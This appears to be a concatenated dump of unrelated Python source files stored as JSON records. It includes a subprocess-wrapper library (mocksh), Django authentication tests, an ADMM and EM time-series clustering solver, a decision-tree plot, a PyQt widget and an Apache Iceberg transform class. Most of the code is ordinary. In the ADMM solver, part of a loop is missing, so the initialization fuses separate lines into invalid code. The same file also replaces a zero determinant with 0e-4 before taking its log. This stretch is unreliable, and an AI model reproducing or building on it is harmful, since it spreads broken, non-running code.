code(cls, returncode):\n # type: (Union[int, str]) -> Type[CommandError]\n \"\"\"Get a subclass for an error code.\"\"\"\n returncode, signame = cls.normalize_code(returncode)\n if returncode not in cls._subclasses:\n def __new__(*_, **__):\n # type: (*Any, **Any) -> NoReturn\n raise TypeError(\"Cannot instantiate CommandError subclasses\")\n index = signame if signame else returncode\n name = \"{}[{!r}]\".format(cls.__name__, index)\n members = {'__new__': __new__, 'returncode': returncode}\n subclass = type(name, (cls,), members) # type: Type[CommandError]\n cls._subclasses.setdefault(returncode, subclass)\n return cls._subclasses[returncode]\n\n __class_getitem__ = code\n\n @staticmethod\n def normalize_code(returncode):\n # type: (Union[int, str]) -> Tuple[int, Optional[str]]\n \"\"\"Normalize an exit code or signal name.\"\"\"\n if isinstance(returncode, str):\n if returncode in _SIGNAL_CODES:\n return _SIGNAL_CODES[returncode], returncode\n raise ValueError(\"Unknown signal {}\".format(returncode))\n elif isinstance(returncode, int):\n if returncode in _SIGNAL_NAMES:\n return returncode, _SIGNAL_NAMES[returncode]\n return returncode, None\n raise TypeError\n\n\nclass Process(subprocess.Popen):\n \"\"\"A subclass of subprocess.Popen with easier behavior.\n\n Designed to be used through mocksh.Command.\n\n Arguments:\n args: A string, or a sequence of program arguments.\n check: Whether to raise an exception if the program exits with failure.\n tail: A Process instance to read the output of and wait for, as in a\n pipeline.\n input: Data to write into the standard input of the process. Can be\n either text or bytes.\n wait: Whether to wait until the process is finished when instantiating.\n timeout: How long to wait before raising a TimeoutExpired exception.\n capture_stdout: Whether to capture standard output.\n Alias for stdout=PIPE.\n capture_stderr: Whether to capture standard error.\n Alias for stderr=PIPE.\n kwargs: Arguments to be passed to subprocess.Popen's initializer.\n \"\"\"\n def __init__(self,\n args, # type: subprocess._CMD\n check=True, # type: bool\n tail=None, # type: Optional[Process]\n input=None, # type: Optional[Union[bytes, Text]]\n wait=False, # type: bool\n timeout=None, # type: Optional[float]\n capture_stdout=False, # type: bool\n capture_stderr=False, # type: bool\n **kwargs # type: Any\n ):\n # type: (...) -> None\n if kwargs.get('shell') and not isinstance(args, _STR_TYPES):\n # This is weird and not very useful, but just in case\n args = ' '.join(str(arg) for arg in args)\n # Strictly speaking, this breaks compatibility with Popen, which\n # just executes [\"/bin/sh\", \"-c\"] + args after normalizing args\n # to a list.\n # On my system, subprocess.Popen(['echo', 'foo'], shell=True)\n # effectively executes \"echo\", without the foo. But that\n # particular \"feature\" is never desirable for this module.\n if PY3:\n # TODO: it would be nice to remove this restriction\n # Maybe re-open the files in text mode in __str__ and __iter__?\n # A new attribute? A new property?\n if kwargs.get('universal_newlines', True) is not True:\n raise ValueError(\"Can't override universal_newlines\")\n kwargs['universal_newlines'] = True\n\n if tail is not None:\n if kwargs.get('stdin') is not None:\n raise ValueError(\"Can't pipe and set stdin at the same time\")\n kwargs['stdin'] = tail.stdout\n if input is not None:\n if kwargs.get('stdin') is not None:\n raise ValueError(\"Can't input and set stdin at the same time\")\n kwargs['stdin'] = PIPE\n\n if capture_stdout:\n if kwargs.get('stdout') is not None:\n raise ValueError(\"Can't capture stdout if redirecting it\")\n kwargs['stdout'] = PIPE\n if capture_stderr:\n if kwargs.get('stderr') is not None:\n raise ValueError(\"Can't capture stderr if redirecting it\")\n kwargs['stderr'] = PIPE\n\n super(Process, self).__init__(args, **kwargs)\n self.check = check\n self.tail = tail\n if self.tail is not None:\n self.stdin = self.tail.stdin\n if not hasattr(self, 'args'):\n self.args = args\n\n if input is not None:\n if self.stdin is None:\n raise TypeError(\"Couldn't find stdin\")\n try:\n if PY3 and isinstance(input, bytes):\n self.stdin.buffer.write(input) # type: ignore\n else:\n self.stdin.write(input)\n except IOError as exc:\n if exc.errno not in {errno.EINVAL, errno.EPIPE}:\n raise\n finally:\n self.stdin.close()\n\n if wait or timeout is not None:\n if timeout is not None:\n self.wait(timeout=timeout)\n else:\n self.wait()\n if self.check:\n self.check_returncode()\n\n @property\n def captured(self):\n # type: () -> StreamType\n \"\"\"Get the output stream that's being captured.\"\"\"\n if self.stdout and self.stderr:\n # People might (reasonably) expect captured to access both if this\n # is possible\n raise AttributeError(\"Capturing both stdout and stderr, use \"\n \".stdout and .stderr directly instead\")\n if self.stdout:\n return self.stdout # type: ignore\n if self.stderr:\n return self.stderr # type: ignore\n raise AttributeError(\"Not capturing any output\")\n\n def __repr__(self):\n # type: () -> str\n argv = ' '.join(str(arg) for arg in self.args)\n name = type(self).__module__ + '.' + type(self).__name__\n if self.tail is None:\n return \"<{}: {}>\".format(name, argv)\n return \"<{}: {!r} | {}>\".format(name, self.tail, argv)\n\n def wait(self, timeout=None):\n # type: (Optional[float]) -> int\n \"\"\"Wait for this process and its tail (if any) to finish.\n\n Arguments:\n timeout: How many seconds to wait before raising\n subprocess.TimeoutExpired. Only supported in Python 3.3+.\n \"\"\"\n if timeout is None:\n if self.tail is not None:\n self.tail.wait()\n return super(Process, self).wait()\n elif sys.version_info >= (3, 3):\n orig_time = _time()\n if self.tail is not None:\n self.tail.wait(timeout=timeout)\n rest = orig_time + timeout - _time()\n return super(Process, self).wait(timeout=rest)\n else:\n raise TypeError(\"Waiting with a timeout requires Python 3.3+\")\n\n def check_returncode(self):\n # type: () -> None\n \"\"\"Raise a CommandError if the exit code is non-zero.\"\"\"\n returncode = self.wait()\n if returncode != 0:\n raise CommandError(returncode, self)\n\n def __enter__(self):\n # type: () -> Process\n return self\n\n def __exit__(self,\n type, # type: Optional[Type[BaseException]]\n value, # type: Optional[BaseException]\n traceback # type: Optional[TracebackType]\n ):\n # type: (...) -> bool\n \"\"\"Close all streams and wait for the process to finish.\"\"\"\n try:\n if self.tail is not None:\n self.tail.__exit__(type, value, traceback)\n for stream in self.stdout, self.stderr, self.stdin:\n if stream:\n stream.close()\n finally:\n self.wait()\n if self.check:\n self.check_returncode()\n return False\n\n def __iter__(self):\n # type: () -> Iterator[str]\n \"\"\"Loop through the lines of command output, without newlines.\"\"\"\n with self:\n for line in self.captured:\n yield line.rstrip('\\r\\n')\n\n def __str__(self):\n # type: () -> str\n \"\"\"Read the output of the command as a string.\"\"\"\n with self:\n return self.captured.read()\n\n if PY3:\n def __bytes__(self):\n # type: () -> bytes\n \"\"\"Read the output of the command as bytes.\"\"\"\n with self:\n return self.captured.buffer.read()\n\n def __bool__(self):\n # type: () -> bool\n \"\"\"Check whether the process exited successfully.\"\"\"\n return self.wait() == 0\n\n __nonzero__ = __bool__\n\n\nclass Command(object):\n \"\"\"A launcher for Process instances that mimics function calls.\n\n Arguments:\n args: A tuple of program arguments.\n opts: Keyword arguments to pass to mocksh.Process.\n kwargs: Alternative syntax for opts.\n\n In most cases you would use this through the pre-built mockh.sh object.\n \"\"\"\n # for the benefit of 'from mocksh import sh'\n PIPE_ = PIPE\n STDOUT_ = STDOUT\n if sys.version_info >= (3, 3):\n DEVNULL_ = DEVNULL\n CommandError_ = CommandError\n\n def __init__(self, args=(), opts=None, **kwargs):\n # type: (Tuple[StrTypes, ...], Optional[Dict[str, Any]], **Any) -> None\n self.args_ = args\n self.opts_ = {} # type: Dict[str, Any]\n if opts:\n self.opts_.update(opts)\n self.opts_.update(kwargs)\n\n def __repr__(self):\n # type: () -> str\n name = type(self).__module__ + '.' + type(self).__name__\n return \"{}({!r}, {!r})\".format(name, self.args_, self.opts_)\n\n def __eq__(self, other):\n # type: (Any) -> bool\n return (type(self) is type(other) and self.args_ == other.args_\n and self.opts_ == other.opts_)\n\n def __getattr__(self, item):\n # type: (str) -> Command\n \"\"\"Return a new instance with `item` appended to the argument list.\"\"\"\n if _is_reserved(item):\n raise AttributeError(item)\n return type(self)(self.args_ + (item.replace('_', '-'),), self.opts_)\n\n def __getitem__(self, index):\n # type: (Union[Any, Tuple[Any]]) -> Command\n \"\"\"Return a new instance with index appended to the argument list.\n\n index will be cast to a suitable type if necessary.\n\n Both `command[arg]` and `command[arg1, arg2, arg3]` are supported.\n \"\"\"\n if not isinstance(index, tuple):\n index = (index,)\n index = tuple(_to_strlike(item) for item in index)\n return type(self)(self.args_ + index, self.opts_)\n\n def __call__(self, *args, **opts):\n # type: (*Any, **Any) -> Process\n \"\"\"Launch a new instance of Process.\n\n args and opts will be converted to (GNU) getopt/argparse-style command\n arguments. However, keyword arguments ending in an underscore will be\n passed (without the underscore) to the initializer of Process instead.\n\n By default, this method waits until the process is finished. To return\n immediately, pass wait_=False.\n\n sh.foo('bar', baz=3, cwd_='/') is equivalent to\n Process(('foo', '--baz', '3', 'bar'), cwd='/')\n \"\"\"\n process_kwargs = self.opts_.copy()\n cmd_opts = {}\n for key, value in opts.items():\n if _is_reserved(key):\n process_kwargs[key[:-1]] = value\n else:\n cmd_opts[key] = value\n argv = self.args_ + tuple(_parse(args, cmd_opts))\n # Wait by default when using this interface\n process_kwargs.setdefault('wait', True)\n return Process(argv, **process_kwargs)\n\n def pipe_(self, *args, **opts):\n # type: (*Any, **Any) -> Command\n \"\"\"Launch an instance of Process as part of a pipeline.\n\n Returns a new Command object to launch a process to continue.\n \"\"\"\n # wait_=False and check_=False are defaults, stdout_=PIPE is mandatory\n opts.setdefault('wait_', False)\n opts.setdefault('check_', False)\n process = self(*args, stdout_=PIPE, **opts)\n return type(self)(opts=self.opts_, tail=process)\n\n def capture_(self, *args, **opts):\n # type: (*Any, **Any) -> Process\n \"\"\"Launch an instance of Process to capture its output.\"\"\"\n opts.setdefault('wait_', False)\n return self(*args, stdout_=PIPE, **opts)\n\n def test_(self, *args, **opts):\n # type: (*Any, **Any) -> Process\n \"\"\"Launch an instance of Process to test whether it succeeds.\"\"\"\n opts.setdefault('check_', False)\n return self(*args, **opts)\n\n if sys.version_info >= (3, 3):\n # older versions can't do super().__dir__\n def __dir__(self):\n # type: () -> List[str]\n \"\"\"Provide PATH autocompletion. Loosely based on shutil.which.\"\"\"\n listing = list(super(Command, self).__dir__())\n if self.args_:\n return listing\n mode = os.F_OK | os.X_OK\n path = os.environ.get('PATH', os.defpath).split(os.pathsep)\n for directory in filter(os.path.isdir, path):\n for filename in os.listdir(directory):\n fpath = os.path.join(directory, filename)\n if os.path.isfile(fpath) and os.access(fpath, mode):\n listing.append(filename.replace('-', '_'))\n return listing\n\n\nsh = Command()\n", "source": "blyxxyz/mocksh", "license": "0BSD"} {"text": "from .parsing import parse_string\nfrom .tokens import token\nfrom .users import getUsers, getPlaces\nfrom .flags import flag_define, value_assign", "source": "jaobernardi/roboscovid-redacted", "license": "MIT"} {"text": "from rest_framework.test import APIRequestFactory, APITestCase\nfrom django.urls import reverse\nfrom rest_framework import status\nfrom users.models import User\n\nclass RegistrationTests(APITestCase):\n\n @classmethod\n def setUpTestData(cls):\n cls.username = 'testuser'\n cls.password = 'testpassword'\n cls.email = 'test@mail.com'\n cls.invalid_email = 'invalid_email.com'\n cls.first_name = 'John'\n cls.last_name = 'Doe'\n\n\n def test_register_user(self):\n \"\"\"\n Test default rest-auth registration with valid credentials.\n First and last names would fail silently.\n (User would be created, but wouldn't have names assigned)\n \"\"\"\n url = reverse('rest_register')\n response = self.client.post(url, {'username': self.username,\n 'password1': self.password,\n 'password2': self.password,\n 'email': self.email})\n\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n try:\n User.objects.get(username=self.username)\n except:\n self.assertTrue(False)\n\n\n def test_register_invalid_user(self):\n \"\"\"\n Test default rest-auth registration with invalid credentials.\n Given email is not in accepted form.\n \"\"\"\n url = reverse('rest_register')\n response = self.client.post(url, {'username': self.username,\n 'password1': self.password,\n 'password2': self.password,\n 'email': self.invalid_email})\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n try:\n User.objects.get(username=self.username)\n self.assertTrue(False)\n except:\n pass\n\n\n def test_register_user_with_name(self):\n \"\"\"\n Test custom registration with first and last names on top of rest-auth.\n First and last names are optional.\n \"\"\"\n url = reverse('rest_name_register')\n response = self.client.post(url, {'username': self.username,\n 'password1': self.password,\n 'password2': self.password,\n 'email': self.email,\n 'first_name': self.first_name,\n 'last_name': self.last_name})\n\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n try:\n user = User.objects.get(username=self.username)\n self.assertEqual(user.first_name, self.first_name)\n self.assertEqual(user.last_name, self.last_name)\n except:\n self.assertTrue(False)\n\n\n def test_register_invalid_user_with_name(self):\n \"\"\"\n Test custom registration with first and last names on top of rest-auth.\n Invalid email is given.\n \"\"\"\n url = reverse('rest_name_register')\n response = self.client.post(url, {'username': self.username,\n 'password1': self.password,\n 'password2': self.password,\n 'email': self.invalid_email,\n 'first_name': self.first_name,\n 'last_name': self.last_name})\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n try:\n user = User.objects.get(username=self.username)\n self.assertTrue(False)\n except:\n pass\n\n\nclass LoginTests(APITestCase):\n\n @classmethod\n def setUpTestData(cls):\n cls.username = 'testuser'\n cls.password = 'testpassword'\n cls.url = '/rest-auth/login/'\n\n cls.testuser = User.objects.create_user(\n username=cls.username,\n password=cls.password)\n cls.testuser.save()\n\n\n def test_login(self):\n \"\"\"\n Test default rest-auth login.\n Valid username and password are given.\n \"\"\"\n response = self.client.post(self.url, {'username': self.username,\n 'password': self.password})\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n\n def test_invalid_password_login(self):\n \"\"\"\n Test default rest-auth login.\n Valid username and invalid password are given.\n \"\"\"\n invalid_password = 'invalidpassword'\n response = self.client.post(self.url, {'username': self.username,\n 'password': invalid_password})\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n\n def test_invalid_username_login(self):\n \"\"\"\n Test default rest-auth login.\n Invalid username and valid password are given.\n \"\"\"\n invalid_username = 'invalidusername'\n response = self.client.post(self.url, {'username': invalid_username,\n 'password': self.password})\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n", "source": "r-kaminski/innovativeproject-inventory-of-supplies", "license": "MIT"} {"text": "#For ICDM review only, please do not distribute\n#ALL RIGHTS RESERVED\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom solverADMMmodel7 import myADMMSolver as ADMM7\nfrom solverADMMmodel6 import myADMMSolver as ADMM6\nfrom helper import computeF1Score,extractSlidingWindow,computeF1ScoreWithoutBestMatch,reassignY, upperToFull\nimport copy\n\n\n# In[32]:\n\ndef solve(mts_X,mts_hatX,modelId=7,K=4,beta=2,gamma=10, lamb=1000,rho=1,w=5,n=5,maxIters=30, eps_abs = 1e-2,eps_rel = 1e-2,debug = False,evaluate = False,groundTruth_Y={},groundTruth_hatY={},groundTruth_Z={}):\n# In[]: Initialization\n\n X = extractSlidingWindow(mts_X,w=w,n=n)\n hatX = extractSlidingWindow(mts_hatX,w=w,n=n)\n returnVal = {}\n vec_thetas7 = {}\n vec_thetas6 = {}\n LOG2PI = np.log(2*np.pi)\n nw = n*w\n T = X.shape[0]\n hatT = hatX.shape[0]\n Y = np.zeros(T)\n hatY = np.zeros(hatT)\n Z = np.zeros(hatT)\n if debug:\n print \"completed getting the data\"\n print \"lamb\", lamb\n print \"beta\", beta\n print \"gamma\", gamma\n print \"K\", K\n print \"w\", w\n print \"n\",n\n theta = np.zeros([K,nw,nw])\n hatTheta = np.zeros([K,nw,nw])\n list_f1Y = []\n list_f1hatY = []\n list_f1Z = []\n# In[] ############## Initialize latent state assignment ###############\n\n breakPoint = T/K\n if debug:\n print \"breakPoint\",breakPoint\n for k in xrange(K):\n if knw and hat_x[k].shape[0]>nw):\n if(modelId==7):\n solver7 = ADMM7(lamb,nw,rho,x[k],hat_x[k])\n vec_thetas7[k] = solver7(eps_abs,eps_rel,False)\n else:\n solver6 = ADMM6(lamb,nw,rho,x[k],hat_x[k])\n vec_thetas6[k] = solver6(200,eps_abs,eps_rel,False)\n else:\n print \"x[k].shape[0],hat_x[k].shape[0]\",x[k].shape[0],hat_x[k].shape[0]\n\n# In[]: E-step\n if(modelId == 7): # Model uses partial correlation based transformation function\n vec_thetas = vec_thetas7\n# print \"Model uses partial correlation based transformation function\"\n else: # Model uses Covariance based transformation function.\n vec_thetas = vec_thetas6\n# print \"Model uses Covariance based transformation function.\"\n logDETtheta1_dict = {} # cluster to log_det\n logDETtheta2_dict = {} # cluster to log_det\n# compute log det\n for cluster in xrange(K):\n val = vec_thetas[cluster]\n val1 = val[:,0]\n val2 = val[:,1]\n if debug:\n print '@@@@@@ Iter',iters\n print 'Cluster',cluster\n if debug and not np.any(val2): # check all elements are zeros\n print \"val2.all()==0: cluster = \",cluster\n # val2 = val1\n# print \"OPTIMIZATION for Cluster #\", cluster,\"DONE!!!\"\n theta1 = upperToFull(val1, 0)\n theta2 = upperToFull(val2, 0)\n cov = np.linalg.inv(theta1)\n hatCov = np.linalg.inv(theta2)\n if debug:\n print '@@@@@@ Iter',iters\n print 'Cluster',cluster\n print 'cov\\n',cov\n# plotMultiGaussian(cov)\n print 'hatCov\\n',hatCov\n# plotMultiGaussian(hatCov)\n\n DETtheta1 = np.linalg.det(theta1)\n DETtheta2 = np.linalg.det(theta2)\n if DETtheta1==0:\n # print theta1\n print \"???????????????????????np.linalg.det(theta1) = \",DETtheta1\n DETtheta1 = 0e-4#np.abs(DETtheta1);\n\n\n if DETtheta2==0:\n # print theta2\n print \"????????????????????????np.linalg.det(theta2) = \",DETtheta2\n DETtheta2 = 0e-4#np.abs(DETtheta2);\n\n\n logDETtheta1 = np.log(DETtheta1)\n logDETtheta2 = np.log(DETtheta2)\n logDETtheta1_dict[cluster] = logDETtheta1\n logDETtheta2_dict[cluster] = logDETtheta2\n\n theta[cluster] = theta1\n hatTheta[cluster] = theta2\n\n Y_changed_count = 0\n\n lle_allNodes = np.zeros([T,K])\n for t in xrange(T):\n for k in xrange(K):\n x_mu = X[t,:] - dict_mu[k]\n lle_allNodes[t,k] = (np.dot(np.dot(np.transpose(x_mu),theta[k]),x_mu)-logDETtheta1_dict[k]+nw*LOG2PI)/2\n\n Y = reassignY(lle_allNodes,gamma)\n if evaluate:\n print \"Y assignment at iteration\",iters\n f1_Y = computeF1Score(Y,groundTruth_Y,True)\n print \"Y_f1 =\", f1_Y\n print \"\"\n list_f1Y.append(f1_Y)\n\n Z_changed_count = 0\n # Start dynamic programming algorithm to reassign hatY and Z\n ll0 = np.zeros([hatT,K]) # corresponding to J in the paper\n ll1 = np.zeros([hatT,K]) # corresponding to \\hat J in the paper\n for t in xrange(hatT):\n for k in xrange(K):\n x1 = hatX[t,:] - dict_mu[k]\n x0 = hatX[t,:] - dict_hat_mu[k]\n theta1 = theta[k]\n theta2 = hatTheta[k]\n if t == 0:\n cov = np.linalg.inv(theta1)\n hatCov = np.linalg.inv(theta2)\n logDETtheta1 = logDETtheta1_dict[k]\n logDETtheta2 = logDETtheta2_dict[k]\n\n ll0[t,k] = ((np.dot(np.dot(np.transpose(x0),theta2),x0)-logDETtheta2+(nw)*LOG2PI)/2)\n ll1[t,k] = ((np.dot(np.dot(np.transpose(x1),theta1),x1)-logDETtheta1+(nw)*LOG2PI)/2)\n#\n preCost = np.zeros([K,2])\n curCost = np.zeros([K,2])\n #prePath = [[]]*(K*2) # encoding 10 11 20 21... with 0 1 2 3 4...\n #curPath = [[]]*(K*2)\n pathMat = np.zeros([hatT,K*2],dtype = 'int32')\n #\n cost = []\n minNode = 0\n for t in xrange(hatT):\n # if t%1000 == 0:\n # print t\n\n #topTen = 1000;\n #for t in xrange(topTen):\n # curPath = [[]]*(K*2)\n pminIdx0 = np.argmin(preCost[:,0])\n preMin0 = preCost[pminIdx0,0]\n pminIdx1 = np.argmin(preCost[:,1])\n preMin1 = preCost[pminIdx1,1]\n for k in xrange(K):\n # when Z = 0\n curCost0 = preCost[k,0]\n curCost1 = preCost[k,1]+beta\n preMinCost0 = preMin0+gamma\n preMinCost1 = preMin1+beta+gamma\n cost = [curCost0, curCost1, preMinCost0, preMinCost1]\n minNode = np.argmin(cost)\n curCost[k,0] = cost[minNode]+ll0[t,k]\n if minNode == 0:\n pathMat[t,k*2] = k*2\n\n elif minNode == 1:\n pathMat[t,k*2] = k*2+1\n\n elif minNode == 2:\n pathMat[t,k*2] = pminIdx0*2\n\n else:\n pathMat[t,k*2] = pminIdx1*2+1\n\n curCost0 = preCost[k,0]+beta\n curCost1 = preCost[k,1]\n preMinCost0 = preMin0+beta+gamma\n preMinCost1 = preMin1+gamma\n cost = [curCost0, curCost1, preMinCost0, preMinCost1]\n\n minNode = np.argmin(cost)\n curCost[k,1] = cost[minNode]+ll1[t,k]\n if minNode == 0:\n pathMat[t,k*2+1] = k*2\n elif minNode == 1:\n pathMat[t,k*2+1] = k*2+1\n elif minNode == 2:\n pathMat[t,k*2+1] = pminIdx0*2\n else:\n pathMat[t,k*2+1] = pminIdx1*2+1\n preCost = curCost\n\n finalMinIdx = np.argmin(curCost)\n\n curNode = finalMinIdx\n preNode = finalMinIdx\n\n for t in xrange(hatT-1,-1,-1):\n preNode = pathMat[t,curNode]\n hatY[t] = preNode/2\n Z[t] = preNode%2\n if not(np.equal(hatY[t],old_hatY[t])):\n Y_changed_count = Y_changed_count+1\n if not(np.equal(Z[t],old_Z[t])):\n Z_changed_count = Z_changed_count+1\n curNode = preNode\n\n\n# In[normal]\n if evaluate:\n print \"hat_Y assignments at iteration:\",iters\n f1_hatY = computeF1Score(hatY,groundTruth_hatY,True)\n print \"hat_Y_f1 = \",f1_hatY\n print \"Z assignments at iteration:\",iters\n f1_hatZ = computeF1ScoreWithoutBestMatch(Z,groundTruth_Z,True)\n accZ = 1.0*sum(Z==groundTruth_Z)/hatX.shape[0]\n print \"Z_f1, accZ = \",f1_hatZ,accZ\n list_f1hatY.append(f1_hatY)\n list_f1Z.append(f1_hatZ)\n\n\n# In[check convergence]\n\n if (Y_changed_count<30 and Z_changed_count<30 and iters>5) :\n print \"All Done!!!!!!!!!!!!!!!!!!!! Early stationary at iteration\", iters\n break;\n # end E-M loop\n# In[Evaluate results]:\n if evaluate:\n xaxis = xrange(len(list_f1Y))\n plt.figure()\n # f1plt = plt.plot()\n plt.plot(xaxis,list_f1Y,label = \"f1Y\")\n plt.plot(xaxis,list_f1hatY,label = \"f1hatY\")\n plt.plot(xaxis,list_f1Z,label = \"f1Z\")\n plt.legend()\n plt.xlabel(\"iteration\")\n plt.ylabel(\"f1 score\")\n\n returnVal['Y'] = Y\n returnVal['hatY'] = hatY\n returnVal['Z'] = Z\n returnVal['theta'] = theta\n returnVal['hatTheta'] = hatTheta\n\n return returnVal\n\n\n\n", "source": "qingzheli/partial-correlation-based-contrast-pattern-mining", "license": "BSD-2-Clause"} {"text": "from django.apps import AppConfig\nfrom django.utils.translation import ugettext_lazy as _\n\n\nclass MojoNavigation(AppConfig):\n name = 'mojo.navigation'\n verbose_name = _(\"Mojo navigation\")\n", "source": "django-mojo/mojo-navigation", "license": "BSD-3-Clause"} {"text": "'''\nCreated on July 7, 2019\n\n@author: Terry\n@email\uff1aterryluohello@qq.com\n'''\nprint(__doc__)\n\nimport numpy as np \nimport matplotlib.pyplot as plt \n\nfrom sklearn.datasets import load_iris\nfrom sklearn.tree import DecisionTreeClassifier, plot_tree\n\n# Parameter\nn_classes = 3\nplot_colors = \"ryb\"\nplot_step = 0.02\n\n# Load data\niris = load_iris()\n\nfor pairidx, pair in enumerate([[0,1],[0,2],[0,3],\n [1,2],[1,3],[2,3]]):\n # We only take two corresponding features\n X = iris.data[:,pair]\n y = iris.target\n\n # Train\n clf = DecisionTreeClassifier().fit(X,y)\n\n # Plot the descision boundary\n plt.subplot(2,3,pairidx + 1)\n x_min, x_max = X[:,0].min() - 1, X[:,0].max() - 1\n y_min, y_max = X[:,1].min() - 1, X[:,1].max() - 1\n xx, yy = np.meshgrid(np.arange(x_min,x_max,plot_step),\n np.arange(y_min,y_max,plot_step))\n plt.tight_layout(h_pad=0.5,w_pad=0.5,pad=2.5)\n\n Z = clf.predict(np.c_[xx.ravel(),yy.ravel()])\n Z = Z.reshape(xx.shape)\n cs = plt.contourf(xx, yy, Z, cmap=plt.cm.RdYlBu)\n plt.xlabel(iris.feature_names[pair[0]])\n plt.ylabel(iris.feature_names[pair[1]])\n \n # Plot the training points\n for i, color in zip(range(n_classes),plot_colors):\n idx = np.where(y == i)\n plt.scatter(X[idx,0],X[idx,1],c=color,label=iris.target_names[i],\n cmap=plt.cm.RdYlBu,edgecolors='black',s=15)\nplt.suptitle(\"Decision surface of a decision tree using paired features\")\nplt.legend(loc='lower right', borderpad=0, handletextpad=0)\nplt.axis(\"tight\")\n\nplt.figure()\nclf = DecisionTreeClassifier().fit(iris.data, iris.target)\nplot_tree(clf, filled=True)\nplt.show()", "source": "Teeerry/decision-tree", "license": "MIT"} {"text": "from PyQt5 import QtWidgets, QtCore, QtGui\n\n\nclass AlbumButton(QtWidgets.QFrame):\n\n selected = QtCore.pyqtSignal(str)\n\n def __init__(self, image, audio):\n super().__init__()\n self.audio = audio\n self.background_image = QtGui.QPixmap(image).scaled(100, 100,\n QtCore.Qt.KeepAspectRatioByExpanding)\n self.background_label = QtWidgets.QLabel(self)\n self.background_label.setFixedSize(100, 100)\n self.background_label.setPixmap(self.background_image)\n self.setFixedSize(100, 100)\n self.setCursor(QtCore.Qt.PointingHandCursor)\n\n def mouseReleaseEvent(self, event):\n \"\"\"Detect click event, which is when the mouse is\n released and still hovering over the item.\"\"\"\n mouse = self.mapToParent(event.pos())\n if self.pos().x() < mouse.x() < self.pos().x() + self.width():\n if self.pos().y() < mouse.y() < self.pos().y() + self.height():\n self.selected.emit(self.audio)\n", "source": "RohanJnr/code-jam-5", "license": "MIT"} {"text": "# Author: Xinshuo Weng and Shangxuan Wu\n# email: {xinshuo.weng, wushx6}@gmail.com\n\n# this function convert a struct to string (only applied to the field which can be converted to a string) and save it to file\nimport toolbox.util\nimport pdb\n\ndef save_struct(struct_save, save_path, debug_mode):\n '''if not debug_mode:\n debug_mode = True;\n \n\n if debug_mode:\n \tassert toolbox.util.isstring(save_path), 'The input path should be a string to a file.'\n \tassert isstruct(struct_save), 'The stuff to save should be a struct.'\n '''\n with open(save_path, 'w') as f:\n \n for k, v in struct_save.__dict__.iteritems():\n print(k)\n print(v)\n f.write('%s %s\\n' % (k, v))\n\n\t'''file_id = get_fileID_for_saving(save_path);\n nrows = 0;\n\n # convert struct to string and write to file\n fields = fieldnames(struct_save);\n for field_index = 1:length(fields)\n fields_tmp = fields{field_index};\n value = getfield(struct_save, fields_tmp);\n\n if isstruct(value)\n continue;\n elif isscalar(value)\n try\n str_tmp = num2str(value);\n catch\n str_tmp = 'failed to convert to string!!!';\n if debug_mode\n fprintf('field %s cannot converted to string\\n', fields_tmp);\n \n \n elif ismatrix(value)\n try\n str_tmp = mat2str(value);\n catch\n str_tmp = 'failed to convert to string!!!';\n if debug_mode\n fprintf('field %s cannot converted to string\\n', fields_tmp);\n \n \n elif ischar(value)\n str_tmp = value;\n else\n continue;\n\n # write the key and value string\n fprintf(file_id, '%-30s\\t\\t\\t\\t', fields_tmp); \n fprintf(file_id, '%s\\n', str_tmp); \n nrows = nrows + 1;\n \n fclose(file_id);\n return nrows'''\n\n return\n", "source": "ShangxuanWu/facial_landmark_detection", "license": "MIT"} {"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nfrom .transform import Transform\nfrom .transform_util import TransformUtil\nfrom ..expressions import Expressions\nfrom ..types import TypeID\n\n\nclass Identity(Transform):\n\n @staticmethod\n def get(type_var):\n return Identity(type_var)\n\n def __init__(self, type_var):\n self.type_var = type_var\n\n def apply(self, value):\n return value\n\n def can_transform(self, type_var):\n return type_var.is_primitive_type()\n\n def get_result_type(self, source_type):\n return source_type\n\n def project(self, name, predicate):\n return self.project_strict(name, predicate)\n\n def project_strict(self, name, predicate):\n if predicate.lit is not None:\n return Expressions.predicate(predicate.op, name, predicate.lit.value)\n else:\n return Expressions.predicate(predicate.op, name)\n\n def to_human_string(self, value):\n if value is None:\n return \"null\"\n\n if self.type_var.type_id == TypeID.DATE:\n return TransformUtil.human_day(value)\n elif self.type_var.type_id == TypeID.TIME:\n return TransformUtil.human_time(value)\n elif self.type_var.type_id == TypeID.TIMESTAMP:\n if self.type_var.adjust_to_utc:\n return TransformUtil.human_timestamp_with_timezone(value)\n else:\n return TransformUtil.human_timestamp_without_timezone(value)\n elif self.type_var.type_id in (TypeID.BINARY, TypeID.FIXED):\n raise NotImplementedError()\n # if isinstance(value, bytearray):\n # return base64.b64encode(value)\n # elif isinstance(value, bytes):\n # return base64.b64encode(bytes(value))\n # else:\n # raise RuntimeError(\"Unsupported binary type: %s\" % value.__class__.__name__)\n else:\n return str(value)\n\n def __str__(self):\n return \"identity\"\n\n def __eq__(self, other):\n if id(self) == id(other):\n return True\n\n if other is None or not isinstance(other, Identity):\n return False\n\n return self.type_var == other.type_var\n\n def __hash__(self):\n return hash(self.__key())\n\n def __key(self):\n return Identity.__class__, self.type_var\n", "source": "moulimukherjee/incubator-iceberg", "license": "Apache-2.0"} {"text": "from .. import *\n\nfrom ..utils.mini_batch_iter import MINI_BATCH_ITER\nfrom .classifier import Classifier\nfrom .nn_model import NN_Model\n\n# def check_attributes(check_attributes):\n# def func(*args,**kwargs):\n\n\n# try check_attributes:\n# if check_attributes:\n# func()\n# except Exception as e:\n# raise\n# else:\n# 